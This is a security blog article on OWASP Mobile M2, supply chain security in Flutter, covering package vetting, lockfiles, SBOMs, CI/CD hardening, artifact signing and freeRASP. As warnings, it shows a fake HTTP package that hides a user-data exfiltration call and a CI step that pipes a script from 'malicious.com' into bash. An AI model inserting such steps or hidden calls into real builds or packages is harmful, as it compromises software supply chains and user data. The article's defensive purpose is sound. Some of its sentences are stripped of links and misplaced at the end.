LogoLogo
HomeArticlesCommunity ProductsPremium ProductsGitHubTalsec Website
  • Introduction
  • articles
    • AI Device Risk Summary Demo | Threat Protection | Risk Scoring | Malware Detection | Android & iOS
    • Podcast: iOS Keychain vs Android Keystore
    • Obfuscation of Mobile Apps
    • OWASP Top 10 For Flutter – M6: Inadequate Privacy Controls in Flutter & Dart
    • Simple Root Detection: Implementation and verification
    • OWASP Top 10 For Flutter - M5: Insecure Communication for Flutter and Dart
    • OWASP Top 10 For Flutter – M4: Insufficient Input/Output Validation in Flutter
    • OWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in Flutter
    • OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter
    • OWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter
    • Hook, Hack, Defend: Frida’s Impact on Mobile Security & How to Fight Back
    • Emulators in Gaming: Threats and Detections
    • Exclusive Research: Unlocking Reliable Crash Tracking with PLCrashReporter for iOS SDKs
    • 🚀A Developer’s Guide to Implement End-to-End Encryption in Mobile Apps 🛡️
    • How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps
    • Flutter Security 101: Restricting Installs to Protect Your App from Unofficial Sources
    • How to test a RASP? OWASP MAS: RASP Techniques Not Implemented [MASWE-0103]
    • How to implement Secure Storage in Flutter?
    • User Authentication Risks Coverage in Flutter Mobile Apps | TALSEE
    • Fact about the origin of the Talsec name
    • React Native Secure Boilerplate 2024: Ignite with freeRASP
    • Flutter CTO Report 2024: Flutter App Security Trends
    • Mobile API Anti-abuse Protection with AppiCrypt®: A New Play Integrity and DeviceCheck Alternative
    • Hacking and protection of Mobile Apps and backend APIs | 2024 Talsec Threat Modeling Exercise
    • Detect system VPNs with freeRASP
    • Introducing Talsec’s advanced malware protection!
    • Fraud-Proofing an Android App: Choosing the Best Device ID for Promo Abuse Prevention
    • Enhancing Capacitor App Security with freeRASP: Your Shield Against Threats 🛡️
    • Safeguarding Your Data in React Native: Secure Storage Solutions
    • Secure Storage: What Flutter can do, what Flutter could do
    • 🔒 Flutter Plugin Attack: Mechanics and Prevention
    • Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft
    • Build secure apps in React Native
    • How to Hack & Protect Flutter Apps — Simple and Actionable Guide (Pt. 1/3)
    • How to Hack & Protect Flutter Apps — OWASP MAS and RASP. (Pt. 2/3)
    • How to Hack & Protect Flutter Apps — Steal Firebase Auth token and attack the API. (Pt. 3/3)
    • freeRASP meets Cordova
    • Philosophizing security in a mobile-first world
    • 5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s
    • Missing Hero of Flutter World
Powered by GitBook
LogoLogo

Company

  • General Terms and Conditions

Stay Connected

  • LinkedIn
  • X
  • YouTube
On this page
  • Introduction to Supply Chain Security in Flutter
  • Understanding Flutter’s Supply Chain Risks
  • 1. Dependency Management Risks
  • 2. Third-Party SDK Risks
  • 3. Build Pipeline Vulnerabilities
  • Securing Dependencies in Flutter
  • 1. Vet Packages from pub.dev
  • Comprehensive Dependency Assessment Checklist:
  • 2. Maintaining and Enforcing the Lockfile (pubspec.lock)
  • Integrating Vulnerability Scanning and SBOM Generation
  • 1. Vulnerability Scanning Integration
  • 2. Software Bill of Materials (SBOM) Generation
  • Native and Dart-Side Runtime Checks
  • 1. Self-Integrity Verification
  • 2. Minimizing Trust in Third-Party Code
  • 3. freeRASP for Flutter
  • Mitigating CI/CD Pipeline Vulnerabilities
  • 1. Secure Your Build Environments
  • 2. Protecting Signing Keys and Certificates
  • 3. Enforcing Artifact Integrity
  • 4. Implementing Reproducible Builds
  • 5. Manual Approval and Code Reviews
  • CI/CD Security Checklist
  • Other Protection Techniques
  • 1. Implementing the SLSA Framework (Supply Chain Levels for Software Artifacts)
  • 2. Reproducible Builds
  • 3. Continuous Monitoring and Auditing
  • 4. Emergency Response Planning
  • Advanced Protection Techniques Checklist
  • Conclusion

Was this helpful?

  1. articles

OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter

PreviousOWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in FlutterNextOWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter

Last updated 3 months ago

Was this helpful?

In the first installment of this series, , we explored the pitfalls of storing and handling credentials in your Flutter apps. That conversation underscored how a single compromised credential can jeopardize user data and brand trust.

Now, let’s turn our focus to M2: Inadequate Supply Chain Security—an equally pressing issue in modern mobile development. Safeguarding your Flutter supply chain is critical, as malicious actors continuously seek footholds through third-party dependencies, SDKs, pipelines, and distribution channels.

Introduction to Supply Chain Security in Flutter

When we talk about supply chain security in mobile app development, we mean protecting every component that goes into your app—from third-party libraries and SDKs to build tools and distribution channels. Modern apps depend on these external components to deliver features quickly. Yet, each component also introduces risk since attackers can target them as a “weak link.”Let me remind you with some real-world incidents:

  • XcodeGhost: A compromised version of Apple’s Xcode tool injected malware into iOS apps, leading to large-scale tampering in the App Store.

  • Mintegral (SourMint) SDK: A widely used advertising SDK secretly committed ad fraud and spied on user clicks, impacting 1,200+ iOS apps.

Understanding Flutter’s Supply Chain Risks

To effectively secure your Flutter application, you must clearly understand where and how your supply chain can be compromised. Below is a diagram illustrating the journey from source code to end users:

Let’s delve deeper into each risk area.

1. Dependency Management Risks

  • Malicious or Compromised Packages: Attackers may create Trojan packages disguised as legitimate ones or compromise widely-used packages to inject malicious code. For example, imagine you include a popular HTTP client package (fake_http) to simplify networking in your app:

dependencies:
  fake_http: ^2.0.0
// example 
class HttpClient {
  Future<Response> post(Uri url, {dynamic body}) async {
    // Hidden malicious code
    exfiltrateUserData(body);

    // Actual HTTP POST
    return await realHttpPost(url, body);
  }
}

o mitigate this, always review package changes, prefer verified publishers, and monitor for suspicious behaviors.

  • Outdated Dependencies: Old package versions may contain known vulnerabilities, potentially exposing your app to exploits. Regularly audit and update your dependencies to protect against such risks.

dependencies:
  internal_logging:
    hosted:
      name: internal_logging
      url: https://internal.registry.com
    version: ^1.0.0

Misconfiguration or missing the private registry could fetch the package from the public source, creating a confusion attack scenario. Configure repositories and enforce private hosting policies.

2. Third-Party SDK Risks

Third-party SDKs are often integrated directly into Flutter via plugins. Each SDK you use is a potential risk vector:

  • Obfuscated or Closed-Source SDKs: Closed-source or obfuscated SDKs (common with advertising or analytics plugins) may conceal malicious logic. As a real-world example, Mintegral SDK in 2020 secretly committed ad fraud and collected user data.

  • Compromised APIs: Attackers can leverage vulnerabilities in third-party backend APIs or services your Flutter app interacts with (Firebase, cloud configurations, etc.). For example, if your app fetches remote config via an insecure API endpoint:

final response = await http.get(Uri.parse('http://insecure-config.com/settings'));

attackers could intercept and inject malicious configurations. Consistently enforce HTTPS, validate responses, and regularly audit third-party APIs.

  • Unvetted Native Binaries: Flutter plugins that integrate native code via Gradle (Android) or CocoaPods (iOS) carry additional supply chain risks, as native binaries can be tampered with. Always prefer plugins with transparent source codes and verified binaries.

3. Build Pipeline Vulnerabilities

Your CI/CD pipeline itself is vulnerable and can be exploited:

  • CI/CD Pipeline Access: Attackers gaining access to your pipeline could insert malicious build steps. For example, a compromised GitHub Action could introduce harmful commands:

- name: Malicious Step
  run: |
    curl http://malicious.com/inject.sh | bash

Securing pipeline access through least privilege, MFA, and audit logging is essential. Always make sure when you are using Curl and .sh files, make sure you understand what you are doing.

  • Exposed Signing Keys If Android (.jks) or iOS (.p12) signing keys are compromised, attackers could publish malicious app updates. Secure keys using encrypted storage (e.g., GitHub Secrets, AWS KMS) and regularly rotate keys to mitigate potential damage.

  • Artifact Tampering: Without verifying final binaries (.apk, .aab, .ipa), an attacker could replace artifacts. As a best practice, generate and store cryptographic hashes post-build:

sha256sum build/app/outputs/flutter-apk/app-release.apk > artifact.sha256

Compare these hashes before deploying or distributing to ensure artifact integrity.

Securing Dependencies in Flutter

Managing Flutter dependencies securely is the bedrock of supply chain protection. Here are the essentials:

Let's explore what is possible for vetting packages.

  • Choosing Trusted Packages: Before including a dependency, thoroughly assess its reliability and security:

    • Prefer packages with active maintainers, regular updates, and transparent changelogs.

    • Regularly review the package's repository for suspicious or unusual activities.

  • Limiting Dependencies: Every additional package increases your risk exposure. Evaluate each dependency critically:

    • Assess if the functionality is critical or can be efficiently implemented internally.

    • Prefer fewer, well-vetted dependencies over numerous less secure packages.

For example, if you only need a small portion of a large UI toolkit, consider implementing the required component yourself, reducing potential vulnerabilities:

# Instead of:
dependencies:
  large_ui_toolkit: ^3.2.1

# Prefer:
# Implement the small needed feature directly within your app if feasible.

Comprehensive Dependency Assessment Checklist:

Here is a comprehensive checklist that I recommend you:

  • [ ] Verified publisher

  • [ ] Frequent updates (recent commits within the last three months)

  • [ ] Active community and responsive maintainers

  • [ ] Comprehensive documentation

  • [ ] No unresolved critical vulnerabilities

  • [ ] Clear license terms (MIT, Apache, BSD, etc.)

  • [ ] Minimal and justified permissions required

  • [ ] Well-tested with good code coverage

2. Maintaining and Enforcing the Lockfile (pubspec.lock)

The pubspec.lock file is a special case, similar to Ruby's Gemfile.lock.

For regular packages, don't commit the pubspec.lock file. Regenerating the pubspec.lock file lets you test your package against the latest compatible versions of its dependencies.

For application packages, we recommend that you commit the pubspec.lock file. Versioning the pubspec.lock file ensures changes to transitive dependencies are explicit. Each time the dependencies change due to dart pub upgrade or a change in pubspec.yaml the difference will be apparent in the lock file.

Now that you understand, let's review what you must do for the lock file.

  • Commit the Lockfile: Always commit your pubspec.lock file to your version control system. It records exact dependency versions and their cryptographic hashes, ensuring consistency across builds:

  • Dependency Hash Checking: Flutter automatically verifies dependency hashes in pubspec.lock whenever dependencies are fetched:

    • A warning or error appears, alerting you to investigate the issue.

  • Enforcing Lockfile Integrity in CI/CD: To ensure your CI/CD pipeline uses only validated dependencies, consistently enforce lockfile integrity during builds:

# Example CI workflow with lockfile enforcement
name: Flutter CI

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Setup Flutter
        uses: subosito/flutter-action@v2
        with:
          channel: stable

      - name: Enforce Dependency Integrity
        run: dart pub get --enforce-lockfile

      - name: Build App
        run: flutter build apk --release

If the content hash of any dependency doesn't match the lockfile, the build process will fail, immediately highlighting the potential security issue:

Error: Cached version of dependency 'fake_http' has incorrect hash.

Here is a quick review in an illustration below:

Integrating Vulnerability Scanning and SBOM Generation

Protecting your Flutter application’s supply chain requires proactive monitoring and comprehensive documentation of your dependencies. Here’s how to implement robust vulnerability scanning and maintain an accurate Software Bill of Materials (SBOM) to enhance security posture.

1. Vulnerability Scanning Integration

Integrating automated vulnerability scanning tools helps identify and mitigate security issues promptly. These tools continuously monitor your project's dependencies listed in your pubspec.lock, alerting you to potential vulnerabilities and recommending necessary actions.Popular tools for Flutter include:

  • Snyk: This offers robust integration with GitHub and other CI/CD tools, automatically scanning your dependencies for known vulnerabilities and providing actionable alerts and fixes.

  • GitHub Dependabot: Automatically scans your repository for outdated or vulnerable dependencies, generates pull requests to update them, and provides detailed vulnerability information.

To integrate Dependabot into your GitHub repository, create a file .github/dependabot.yml in your repository root:

version: 2
updates:
  - package-ecosystem: "pub"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

This configuration ensures Dependabot checks your dependencies daily, automatically creating pull requests if vulnerabilities or updates are found, keeping your Flutter app secure and up-to-date.

2. Software Bill of Materials (SBOM) Generation

An SBOM is a detailed, machine-readable inventory of all software components included in your application, along with their respective versions. Maintaining an SBOM lets you quickly pinpoint vulnerabilities within your software components, significantly reducing response times during security incidents. Here are some benefits of the SBOM that I can think of:

  • Comprehensive visibility into your application’s dependencies.

  • Faster identification and remediation of vulnerable components.

  • Enhanced compliance with security standards and regulatory requirements.

   ______           __                 ____ _  __    ________    ____
  / ____/_  _______/ /___  ____  ___  / __ \ |/ /   / ____/ /   /  _/
 / /   / / / / ___/ / __ \/ __ \/ _ \/ / / /   /   / /   / /    / /
/ /___/ /_/ / /__/ / /_/ / / / /  __/ /_/ /   |   / /___/ /____/ /
\____/\__, /\___/_/\____/_/ /_/\___/_____/_/|_|   \____/_____/___/
     /____/

Usage:
  cyclonedx [command] [options]

Options:
  --version         Show version information
  -?, -h, --help    Show help and usage information

Commands:
  add                         Add information to a BOM (currently supports files)
  analyze                     Analyze a BOM file
  convert                     Convert between different BOM formats
  diff <from-file> <to-file>  Generate a BOM diff
  keygen                      Generates an RSA public/private key pair for BOM signing
  merge                       Merge two or more BOMs
  sign                        Sign a BOM or file
  validate                    Validate a BOM
  verify                      Verify signatures in a BOM

To use the CLI for Flutter projects, you can follow the steps below on macOS:

# Install CycloneDX CLI
brew install cyclonedx/cyclonedx/cyclonedx-cli
brew install cdxgen
cdxgen -t dart -o sbom.json

This command generates an SBOM in JSON format (sbom.json), which you can store with your artifacts or utilize during security audits.Then, after generating this file we can analyze it with the following command:

cyclonedx analyze --input-file=sbom.json

# Analysis results for flutter_ddd@1.0.0+1:
# BOM Serial Number: urn:uuid:d720bd5c-dfa9-42ce-ba90-8a5d2f40aae4
# BOM Version: 1
# Timestamp: 12/3/2025 2:16:16am

Here is an example of the sbom.json

You can analyze your SBOM for security vulnerabilities using:

  • Snyk, OSS Index, or GitHub Advanced Security

Combining Scanning and SBOM in Your CI/CD WorkflowIncorporating vulnerability scanning and SBOM generation into your CI/CD pipeline strengthens your supply chain security. Consider uploading and tracking the SBOM with proper tools from the CD/CI.Now, let's look at the Native and Dart runtime security aspects.

Native and Dart-Side Runtime Checks

Even with vigilant dependency management, you might still face tampering or repackaging. Flutter offers various ways to verify integrity at runtime:

1. Self-Integrity Verification

import 'package:app_integrity_checker/app_integrity_checker.dart';

final checksum = await AppIntegrityChecker.getchecksum();
final signature = await AppIntegrityChecker.getsignature();

// Compare with stored, expected values
if (!isValidChecksum(checksum) || !isValidSignature(signature)) {
  // Potential tampering detected
  handleIntegrityFailure();
}

2. Minimizing Trust in Third-Party Code

  • Limit Permissions: If a plugin doesn’t need sensitive permissions, don’t grant them. The OS sandbox can prevent malicious code from accessing off-limits features.

  • Feature Flags: Wrap calls to third-party SDKs or modules in toggles so you can remotely disable them if a supply chain breach is discovered.

3. freeRASP for Flutter

  • Repackaging or signature changes

  • Debugger and hook detection

  • Root/Jailbreak detection

FreeRASP configuration is pretty straightforward, and in Flutter, the application is seamless.

final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: 'your_mail@example.com',
    isProd: true,
  );

  await Talsec.instance.start(config);

Below is an example of using freeRASP in a real Flutter application.

// ignore_for_file: public_member_api_docs, avoid_redundant_argument_values

import 'dart:io';

import 'package:flutter/material.dart';
import 'package:flutter_riverpod/flutter_riverpod.dart';
import 'package:freerasp/freerasp.dart';
import 'package:freerasp_example/screen_capture_notifier.dart';
import 'package:freerasp_example/threat_notifier.dart';
import 'package:freerasp_example/threat_state.dart';
import 'package:freerasp_example/widgets/widgets.dart';

/// Represents current state of the threats detectable by freeRASP
final threatProvider =
    NotifierProvider.autoDispose<ThreatNotifier, ThreatState>(() {
  return ThreatNotifier();
});

final screenCaptureProvider =
    AsyncNotifierProvider.autoDispose<ScreenCaptureNotifier, bool>(() {
  return ScreenCaptureNotifier();
});

Future<void> main() async {
  WidgetsFlutterBinding.ensureInitialized();

  /// Initialize Talsec config
  await _initializeTalsec();

  runApp(const ProviderScope(child: App()));
}

/// Initialize Talsec configuration for Android and iOS
Future<void> _initializeTalsec() async {
  final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: 'your_mail@example.com',
    isProd: true,
  );

  await Talsec.instance.start(config);
}

/// The root widget of the application
class App extends StatelessWidget {
  const App({super.key});

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(primarySwatch: Colors.blue),
      home: const HomePage(),
    );
  }
}

/// The home page that displays the threats and results
class HomePage extends ConsumerWidget {
  const HomePage({super.key});

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final threatState = ref.watch(threatProvider);

    // Listen for changes in the threatProvider and show the malware modal
    ref.listen(threatProvider, (prev, next) {
      if (prev?.detectedMalware != next.detectedMalware) {
        _showMalwareBottomSheet(context, next.detectedMalware);
      }
    });

    return Scaffold(
      appBar: AppBar(title: const Text('freeRASP Demo')),
      body: SafeArea(
        child: Padding(
          padding: const EdgeInsets.all(8),
          child: Column(
            children: [
              Text(
                'Threat Status',
                style: Theme.of(context).textTheme.titleMedium,
              ),
              const SizedBox(height: 8),
              if (Platform.isAndroid)
                ListTile(
                  title: const Text('Change Screen Capture'),
                  leading: SafetyIcon(
                    isDetected:
                        !(ref.watch(screenCaptureProvider).value ?? true),
                  ),
                  trailing: IconButton(
                    icon: const Icon(Icons.refresh),
                    onPressed: () {
                      ref.read(screenCaptureProvider.notifier).toggle();
                    },
                  ),
                ),
              Expanded(
                child: ThreatListView(threats: threatState.detectedThreats),
              ),
            ],
          ),
        ),
      ),
    );
  }
}

/// Extension method to show the malware bottom sheet
void _showMalwareBottomSheet(
  BuildContext context,
  List<SuspiciousAppInfo> suspiciousApps,
) {
  WidgetsBinding.instance.addPostFrameCallback((_) {
    showModalBottomSheet<void>(
      context: context,
      isDismissible: false,
      enableDrag: false,
      builder: (BuildContext context) => MalwareBottomSheet(
        suspiciousApps: suspiciousApps,
      ),
    );
  });
}

If freeRASP detects suspicious activity (e.g., your app was re-signed), it triggers callbacks. You can warn users, disable certain features, or shut down the app to protect sensitive data.

Mitigating CI/CD Pipeline Vulnerabilities

Your CI/CD pipeline is critical infrastructure; a single vulnerability here can compromise your entire Flutter application. Protecting your build pipeline is just as important as protecting your source code. Here’s how you can comprehensively secure your pipeline:

1. Secure Your Build Environments

CI/CD environments should be tightly controlled to prevent unauthorized access and minimize attack surfaces:

  • Restrict Access: Limit who can access your CI/CD infrastructure and securely store sensitive credentials (signing keys, API tokens).

  • Ephemeral Build Agents: Utilize ephemeral (temporary) build agents or Docker containers that reset after each build, ensuring clean, uncontaminated environments.

# Example of Github Action Using ephemeral Docker-based CI agents 
jobs:
  build:
    runs-on: ubuntu-latest
    container:
      image: "cirrusci/flutter:stable"
    steps:
      - uses: actions/checkout@v2
      - run: flutter build apk --release
  • Logging and Auditing: Enable comprehensive logging and auditing features to track changes in CI configurations and identify who triggered builds, facilitating rapid incident response.

2. Protecting Signing Keys and Certificates

Your app’s signing keys are highly sensitive; compromise means attackers could distribute malicious updates:

  • Android: Store your .jks keystore files securely outside source control, preferably using encrypted storage such as GitHub Secrets, AWS KMS, or HashiCorp Vault.

  • iOS: Store your .p12 certificates securely or leverage Apple’s automated code signing capabilities.

Here is an example from Github Action

- name: Build APK with signing
  env:
    KEYSTORE_FILE: ${{ secrets.KEYSTORE_FILE }}
    KEYSTORE_PASSWORD: ${{ secrets.KEYSTORE_PASSWORD }}
    KEY_ALIAS: ${{ secrets.KEY_ALIAS }}
    KEY_PASSWORD: ${{ secrets.KEY_PASSWORD }}
  run: |
    echo "$KEYSTORE_FILE" | base64 --decode > android/app/keystore.jks
    flutter build apk --release \
      --keystore=android/app/keystore.jks \
      --keystore-password=$KEYSTORE_PASSWORD \
      --key-alias=$KEY_ALIAS \
      --key-password=$KEY_PASSWORD

3. Enforcing Artifact Integrity

Ensure the integrity of your build artifacts to detect any unauthorized changes:

  • Cryptographic Hashing: Generate cryptographic hashes (e.g., SHA256) for your build artifacts. Verify these hashes before deployment.

# Generate SHA256 hash
sha256sum build/app/outputs/flutter-apk/app-release.apk > app-release.sha256

# Verify the hash before deployment
sha256sum -c app-release.sha256

4. Implementing Reproducible Builds

Achieving reproducible builds allows detection of unauthorized modifications:

  • Deterministic Environments: Pin exact Flutter and Dart SDK versions, dependencies, and environmental configurations.

- name: Setup Flutter
  uses: subosito/flutter-action@v2
  with:
    flutter-version: "3.19.0"
    channel: "stable"
  • Build Provenance: Create and maintain a Software Bill of Materials (SBOM) and integrate the SLSA framework to document build inputs and ensure reproducibility.

5. Manual Approval and Code Reviews

Implementing human oversight in your CI/CD processes greatly enhances security:

  • Manual Approval Steps: Even with automated deployments, integrate manual approval processes to provide additional verification points.

  • Peer Code Reviews: Enforce mandatory code reviews and pair programming for sensitive changes, especially CI configuration updates.

This workflow triggers a manual approval in GitHub before proceeding with the deployment.

CI/CD Security Checklist

I made this checklist for you to make it easier to ensure you are following best practices.

  • [ ] CI/CD access and audit regularly.

  • [ ] Store sensitive credentials securely (GitHub Secrets, AWS KMS, HashiCorp Vault).

  • [ ] Use ephemeral build environments to ensure isolation.

  • [ ] Generate cryptographic hashes or signatures for build artifacts.

  • [ ] Achieve reproducible builds through deterministic configurations.

  • [ ] Implement SBOM generation and artifact signing tools.

  • [ ] Enforce manual approvals and thorough code reviews for critical deployments.

Other Protection Techniques

Adopting advanced security measures significantly strengthens your application against sophisticated supply chain threats. These techniques provide deeper assurances and comprehensive oversight of your Flutter app development and distribution processes.

1. Implementing the SLSA Framework (Supply Chain Levels for Software Artifacts)

The SLSA framework, developed by Google, defines incremental security maturity levels for software artifacts, ensuring transparency and trustworthiness in your build and deployment processes:

  • Level 1 - Documented Builds: Ensure a repeatable, documented build process.

  • Level 2 - Signed Provenance: Sign your build artifacts cryptographically to prove authenticity.

  • Level 3 - Auditable Builds: Conduct your builds in controlled, secure environments, ideally ephemeral or isolated.

  • Level 4 - Hermetic and Reproducible: Achieve fully reproducible builds with high security standards.

# Install cosign tool for signing artifacts
curl -LO https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
chmod +x cosign-linux-amd64
sudo mv cosign-linux-amd64 /usr/local/bin/cosign

# Sign your Flutter APK in CI
cosign sign-blob --key cosign.key build/app-release.apk

2. Reproducible Builds

Reproducible builds allow you to verify that the same source code always produces an identical binary. This enables the detection of tampering and unauthorized modifications:

  • Pin exact versions of your Flutter and Dart SDKs.

  • Use standardized Docker or VM environments for consistency across builds.

Here is an example of a deterministic Docker setup:

FROM cirrusci/flutter:3.19.0
WORKDIR /app
COPY . .
RUN flutter pub get
RUN flutter build apk --release

3. Continuous Monitoring and Auditing

Continuously audit your dependencies and pipeline:

  • Regularly review dependency changes for unusual patterns.

  • Integrate automatic alerts for dependency or artifact integrity issues.

4. Emergency Response Planning

Have a well-defined response plan in case of supply chain compromise:

  • Prepare rapid revocation strategies for compromised credentials.

  • Implement remote kill-switches or feature flags to disable compromised components quickly.

Advanced Protection Techniques Checklist

Considering what we have learned so far, I have prepared a checklist that you can use to evaluate your process.

  • [ ] Adopt SLSA principles progressively.

  • [ ] Establish reproducible and deterministic builds.

  • [ ] Regularly generate and store SBOMs.

  • [ ] Implement continuous security scanning and monitoring.

  • [ ] Use cryptographic signing and artifact attestation.

  • [ ] Plan and rehearse an emergency response strategy.

Conclusion

Inadequate Supply Chain Security (OWASP M2) goes beyond just picking “safe” packages—it’s about securing the entire lifecycle of your Flutter app, from development to distribution. Attackers increasingly target the supply chain to inject malicious code or tamper with final builds.

  1. Harden Dependencies: Vet packages, lock versions, and monitor vulnerabilities.

  2. Secure Your CI/CD: Lock down secrets, sign artifacts, and enforce integrity checks in every pipeline stage.

  3. Adopt Advanced Techniques: SLSA, reproducible builds, and SBOMs can give you deeper assurances against hidden threats.

Stay proactive—attackers evolve, and supply chain security must constantly adapt in response. Implement these strategies today to ensure your Flutter apps remain safe, reliable, and worthy of your users’ trust.

These examples highlight that attackers can still infiltrate your app via third-party components even if you don't write malicious code yourself. Flutter developers need to learn from these incidents, especially as the Flutter ecosystem grows rapidly on .

Flutter apps rely heavily on packages hosted on . While this ecosystem boosts productivity, it can also introduce vulnerabilities:

If an attacker infiltrates this package on , the malicious code can silently intercept user data:

Dependency Confusion: If your build environment isn’t strictly configured, Flutter might pull packages from unintended sources, resulting in compromised or malicious code integration. For example, your internal package named internal_logging could inadvertently pull a malicious external version if is prioritized:

1. Vet Packages from

Look for a high popularity score and verified publishers (indicated by a "verified publisher" badge on ).

I want to start by mentioning what the Dart team recommends from the :

Suppose the package content changes unexpectedly on the , Flutter identifies the discrepancy, protecting you from dependency tampering.

is a widely used standard for generating SBOMs. You can automate SBOM creation in your CI pipeline using tools like :

However, there are two more straightforward ways to generate SBOM.Either you can use

or you can use dart package. I have not used this one myself yet.Let's continue with cdxgen

OWASP Dependency-Track ()

CycloneDX Online Tools ()

Packages like and can retrieve the checksums and signing certificate details of your app. Compare these values against known-good references on your server.

provides runtime application self-protection (RASP) features, including checks for:

Artifact Signing: Utilize advanced signing tools like or for cryptographic artifact signing, providing verifiable proof of authenticity and provenance.

Here is a hypothetical example of achieving Level 2 compliance in Flutter CI using :

Embed Runtime Protection: Tools like can detect tampering, ensuring the app your users run is the one you built.

pub.dev
pub.dev
pub.dev
pub.dev
pub.dev
pub.dev
official website
pub.dev
CycloneDX
CycloneDX CLI
cdxgen
sbom
Setup Guide
Official Site
freeRASP
app_integrity_checker
freeRASP by Talsec
Sigstore
Cosign
Sigstore
freeRASP
OWASP Top 10 For Flutter – M1: Mastering Credential Security in Flutter
Cover

Majid Hajian - Azure & AI advocate, Dart & Flutter community leader, Organizer, author

@Microsoft
@FlutterVikings
http://flutterengineering.io
https://x.com/mhadaily